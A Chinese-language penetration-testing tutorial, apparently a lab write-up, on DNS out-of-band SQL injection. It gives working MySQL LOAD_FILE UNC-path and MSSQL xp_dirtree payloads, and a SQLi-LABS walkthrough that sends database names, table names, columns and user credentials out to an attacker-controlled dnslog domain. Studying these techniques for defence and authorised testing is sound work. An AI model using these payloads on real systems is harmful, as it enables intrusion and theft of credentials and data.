本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
一、概念
完整攻击流程
使用前提
注意事项
二、DNS外带SQL语法
MySQL: LOAD_FILE() UNC路径请求
Microsoft SQL Server (MSSQL): 存储过程请求
Oracle & PostgreSQL
带外(OOB)注入:原理与优势
注意事项与限制
工具化利用:SQLMap
三、DNS外带SQL注入过程
一、准备工作:获取DNSlog域名
二、使用 LOAD_FILE() 构造UNC路径触发DNS查询
1. 外带固定字符串(测试连通性)
2. 外带动态数据
三、关键注意点
四、靶场注入示例
一、环境与目标
二、整体流程
三、详细步骤与Payload
1. 获取当前数据库名
2. 获取所有表名
3. 获取 users 表的列名
4. 提取 users 表中的数据(分段)
四、关键点总结
五、注意事项
一、概念
DNS外带注入是一种高级的SQL注入技巧。当面对一个毫无响应的“盲注”漏洞时,传统的手工猜解效率极低,而DNS外带注入就像是为数据库服务器接上了一部“电话”,让服务器主动“打电话”出来,一次性告诉你答案,极大地提升了测试效率。这个过程正是它在安全社区常被称为“骚姿势”的原因。
简单来说,DNS外带注入的核心思路如下:
巧用“带外”(OOB)通道:大部分SQL注入属于“带内”(In-band),即攻击和获取数据在同一条请求-响应通道内。而DNS外带注入属于带外(Out-of-Band, OOB)技术。当Web应用不显示任何错误信息或查询结果时(即“盲注”状态),它会尝试开辟另一条辅助信道(如DNS、HTTP)来窃取数据。此类攻击也被称为DNSLog注入。
运用数据外带机制:攻击者引导易受攻击的数据库服务器,在解析某个攻击者控制的域名时,将该域名的一部分替换为想要窃取的数据。此举会触发一次DNS查询,攻击者只需查看DNS查询日志,便能捕获数据。
搭建DNSLog平台:攻击者需要一个能记录所有DNS查询请求的平台,它可以是dnslog.org这样的公共服务,也可以自建。其作用就像一个接收器,用来捕获数据库服务器发出的含有敏感数据的DNS请求。这类平台一般会提供一个独一无二的三级域名(如
xxx.dnslog.org),任何对该域名及其子域名的查询都会被记录下来。
完整攻击流程
获取专用域名:在DNSLog平台申请一个二级域名(例如:
abc123.dnslog.org)。该平台会提供一个真实的DNS解析服务器,负责记录所有对该域名的DNS查询。攻击者后续通过访问该平台界面,即可查看捕获到的查询日志。构造恶意SQL Payload:结合注入点构造SQL语句。最关键的是,利用能触发网络请求的函数(如MySQL的
LOAD_FILE()),将查询结果与之前获取的域名进行拼接,形成UNC路径。例如:SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(user())), '.abc123.dnslog.org\\test'))该语句会使数据库服务器去解析域名
{HEX转换后的数据库用户名}.abc123.dnslog.org,从而触发DNS查询。
触发并接收数据:执行上述SQL语句后,目标服务器发起DNS查询。查询日志会在攻击者控制的DNSLog服务器上生成。
解码与分析:攻击者查看DNSLog平台收集的日志,提取数据部分的子域名,再利用Base64或十六进制解码等方式还原真实数据。
使用前提
操作系统要求:MySQL下的DNS外带注入主要依赖UNC(Universal Naming Convention)路径。UNC是Windows系统的特有语法,这意味着该攻击通常只对运行在Windows操作系统上的数据库服务器有效。
MySQL配置要求:MySQL的关键配置参数
secure_file_priv必须为空(即secure_file_priv =),以允许使用LOAD_FILE()函数访问网络路径。若该参数值为NULL,则代表禁止文件导入导出,攻击无法进行。数据库用户权限:执行此操作的数据库用户需要具备FILE权限,才可使用
LOAD_FILE()函数。这通常对应root或高级账户。在高版本MySQL中,secure_file_priv可能默认为NULL或设置了特定路径,同样会导致攻击失效。外连DNS权限:目标服务器必须被允许向外部DNS服务器发起查询请求。若目标被部署在网络隔离严格的DMZ区,但仍可访问DNS服务器,则该方法依然可行。
注意事项
数据长度限制:出于域名长度限制,单次外带大量数据时,可能需要进行分段处理。同时,域名也仅支持部分合法字符,因此对敏感数据常用十六进制(HEX)编码处理。
不局限于MySQL:该技术同样适用于其他主流数据库:
MSSQL:可通过
xp_dirtree、xp_cmdshell等存储过程发起DNS请求。Oracle:可利用
UTL_HTTP.REQUEST、DBMS_LDAP.INIT等函数。
二、DNS外带SQL语法
MySQL:LOAD_FILE()UNC路径请求
这是DNS外带注入最常见的实现方式。其核心是LOAD_FILE()函数,利用Windows的UNC(通用命名规则)路径机制,让MySQL服务器访问一个构造好的网络共享路径,从而触发DNS查询。
核心前提与工作原理:MySQL DNS外带注入的成功需要满足以下条件:
Windows操作系统:利用UNC路径(
\\server\share)发起网络请求,是Windows特有的功能,因此MySQL服务器必须在Windows系统上。secure_file_priv为空:MySQL的一个安全配置。只有当secure_file_priv变量的值为空('')时,LOAD_FILE()函数才能访问网络路径。高权限用户:通常需要具备
FILE权限的用户才能执行LOAD_FILE(),如root。
基础语法与常用Payload:
通用UNC路径格式:
\\\\攻击者域名\\任意文件名。其中\\表示UNC路径的开头,文件可以是任意不存在的文件名,仅用于满足函数的参数要求。基础Payload:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT payload), '.你的DNSLog域名\\abc'));payload的位置就是我们要窃取的数据,它会被拼接到域名中。常用Payload示例:获取
user()、database()、表名等信息。
数据编码:域名仅允许使用字母、数字和连字符
-。为确保特殊字符能顺利外带,通常需要进行十六进制(HEX)编码。
Microsoft SQL Server (MSSQL): 存储过程请求
MSSQL主要通过XP扩展存储过程xp_dirtree或xp_fileexist来发起请求。
核心函数与前提:
xp_dirtree、xp_fileexist等。通常需要较高权限,例如sa或拥有sysadmin固定服务器角色的成员。利用UNC路径,用法与LOAD_FILE()类似。常用语法与Payload:
基础语法:
DECLARE @a VARCHAR(2000); SET @a = CONCAT('\\', (SELECT 敏感数据), '.你的DNSLog域名\\abc'); EXEC master..xp_dirtree @a;其他函数:
xp_fileexist也可用于触发DNS请求。
Oracle & PostgreSQL
其他数据库实现DNS外带注入的原理类似,但使用的函数和语法不同。
Oracle:
UTL_HTTP.REQUEST、DBMS_LDAP.INIT等包可用于发起网络请求。PostgreSQL:
COPY ... FROM PROGRAM或dblink等函数。
带外(OOB)注入:原理与优势
DNS外带注入是带外(Out-of-band,OOB)注入的一种。当数据库无法直接返回查询结果时,可利用HTTP、DNS甚至邮件等其他通道将数据“带出去”。它的主要优势在于:
效率高:无需像布尔或时间盲注那样逐个字符猜测。
数据量大:可在单个请求中完成一次子域名解析。
注意事项与限制
强条件依赖:数据库必须位于Windows系统且配置、权限均满足要求。实际环境中条件严格,但MSSQL的
xp_dirtree是默认启用的。WAF绕过:这种技术也可能被安全设备监测,请求可能被拦截。
环境兼容性与数据限制:域名有长度限制(通常不超过253字符),数据过长需要分段发送。同时,要仔细检查Payload中的引号等特殊字符,避免语法错误。
工具化利用:SQLMap
sqlmap内置了对DNS外带注入的支持,--technique参数指定为B(布尔盲注)、E(报错注入)、U(联合查询注入)的同时,使用--dns-domain指定DNSlog平台即可。
三、DNS外带SQL注入过程
一、准备工作:获取DNSlog域名
访问DNSlog平台(如
dnslog.org),获取一个专属子域名。显示:
subdomain: ca95a175.log.dnslog.pp.ua,token: jftp5wc4zrmb。说明:该子域名作为“接收器”,所有对该域名及其子域名的DNS查询都会被平台记录。可选:使用
ping命令测试DNS解析是否正常。 分别ping ca95a175.log.dnslog.pp.ua和ping chijing.ca95a175.log.dnslog.pp.ua,均能解析到IP,说明服务可用。
二、使用LOAD_FILE()构造UNC路径触发DNS查询
在MySQL环境中,利用LOAD_FILE()函数访问一个不存在的网络共享路径,从而引发DNS解析请求。
1. 外带固定字符串(测试连通性)
Payload:
select load_file(concat('//','demo','.62d5b3de.log.dnslog.pp.ua./1.txt'))或简化版:
select load_file('/test.62d5b3de.log.dnslog.pp.ua./2.txt')解释:
concat将字符串拼接成 UNC 路径:\\demo.62d5b3de.log.dnslog.pp.ua.\1.txt(注意:MySQL中//等价于\\,用于UNC路径)。数据库服务器尝试访问该路径,必须解析域名
demo.62d5b3de.log.dnslog.pp.ua,因此会发起DNS查询。
结果:在DNSlog平台看到记录:
demo.62d5b3de.log.dnslog.pp.ua. test.62d5b3de.log.dnslog.pp.ua.
说明外带成功。
2. 外带动态数据
Payload:
select load_file(concat('//', database(), '.cf34d23a.log.dnslog.pp.ua./1.txt'))解释:
database()返回当前数据库名(例如demo)。拼接后形成
demo.cf34d23a.log.dnslog.pp.ua,触发DNS解析。
结果:DNSlog中显示demo.cf34d23a.log.dnslog.pp.ua,成功获取数据库名。
三、关键注意点
UNC路径格式:MySQL中UNC路径使用
\\或//开头,后跟域名和文件名(任意)。域名后缀:通常加上
/1.txt或任意文件名,确保LOAD_FILE语法正确。无报错时:即使
LOAD_FILE返回NULL(因为文件不存在),DNS查询仍会发出。因此只要查看DNSlog有记录,即表示外带成功。字符限制:域名只能包含字母、数字、连字符,不含特殊符号。如果查询结果包含特殊字符,需要先进行编码(如
HEX),但你的截图中demo是纯字母,所以直接使用。环境要求:
secure_file_priv必须为空,且MySQL运行在Windows系统(UNC路径依赖)。
四、靶场注入示例
一、环境与目标
靶场:SQLi-LABS Less-1(字符型注入,有联合查询回显)
DNSlog平台:
log.dnslog.pp.ua,获取子域名cf34d23a.log.dnslog.pp.ua目标:利用DNS外带技术,在无法直接回显数据的情况下(此处联合查询可用,但作为演示)窃取数据库名、表名、列名及数据。
二、整体流程
由于Less-1本身就支持联合查询回显,DNS外带并非必需,但用于演示带外技术。流程如下:
获取DNSlog子域名:
cf34d23a.log.dnslog.pp.ua利用
LOAD_FILE()+ UNC路径触发DNS解析将查询结果拼接到子域名中,通过DNS记录获取数据
三、详细步骤与Payload
1. 获取当前数据库名
Payload(通过联合查询注入):
id=1' union select 1,(select load_file(concat('//',database(),'.cf34d23a.log.dnslog.pp.ua/1.txt'))),3 limit 1,1-- -执行结果:DNSlog平台出现记录security.cf34d23a.log.dnslog.pp.ua→ 当前数据库名为security
2. 获取所有表名
Payload:
id=1' union select 1,(select load_file(concat('//',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'.cf34d23a.log.dnslog.pp.ua/1.txt'))),3 limit 1,1-- -DNSlog记录:emails,referers,uaagents,users.cf34d23a.log.dnslog.pp.ua→ 表名列表:emails,referers,uaagents,users
3. 获取users表的列名
Payload:
id=1' union select 1,(select load_file(concat('//',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'.cf34d23a.log.dnslog.pp.ua/1.txt'))),3 limit 1,1-- -DNSlog记录:id,username,password.cf34d23a.log.dnslog.pp.ua→ 列名:id,username,password
4. 提取users表中的数据(分段)
由于域名长度限制,需使用substr()分批提取。首先获取前31个字符:
id=1' union select 1,(select load_file(concat('//',(select substr(group_concat(concat_ws('-',id,username,password)),1,31) from users),'.cf34d23a.log.dnslog.pp.ua/1.txt'))),3 limit 1,1-- -DNSlog记录:1-Dumb-Dumb,2-Angelina-I-kill-y.cf34d23a.log.dnslog.pp.ua→ 第一段数据:1-Dumb-Dumb,2-Angelina-I-kill-y
接着提取第32~62字符:
... substr(...,32,31) ...
DNSlog记录:ou,3-Dummy-p\@ssword,4-secure-cr.cf34d23a.log.dnslog.pp.ua→ 第二段数据:ou,3-Dummy-p@ssword,4-secure-cr
继续提取可得到完整数据(如4-secure-crappy等)。
四、关键点总结
UNC路径格式:MySQL中
LOAD_FILE()支持UNC路径,格式为\\\\域名\文件或//域名/文件。例如:concat('//',database(),'.dnslog.cn/1.txt')DNSlog平台:需要公网可访问的DNS服务器,记录所有对子域名的查询。常用免费平台:
dnslog.cn,ceye.io,log.dnslog.pp.ua等。数据限制:
域名总长度不超过253字符,单次外带数据不宜过长。
域名中只能包含字母、数字、连字符
-,特殊字符需编码(如HEX或BASE64)。本例中concat_ws产生的-和,均合法。
环境要求:
MySQL
secure_file_priv必须为空(允许LOAD_FILE读取网络路径)。数据库服务器必须为Windows系统(UNC路径依赖)。
当前用户需有
FILE权限。
五、注意事项
本例中Less-1本身有联合查询回显,DNS外带并非最优解。但在完全无回显的盲注场景(如Less-5、Less-9)中,DNS外带可以极大提高效率。
实际攻击中,若数据包含特殊符号(如
!、@、#),建议使用HEX()编码,外带后解码。部分WAF会检测
load_file和UNC路径,可能被拦截,可尝试其他函数(如MSSQL的xp_dirtree)。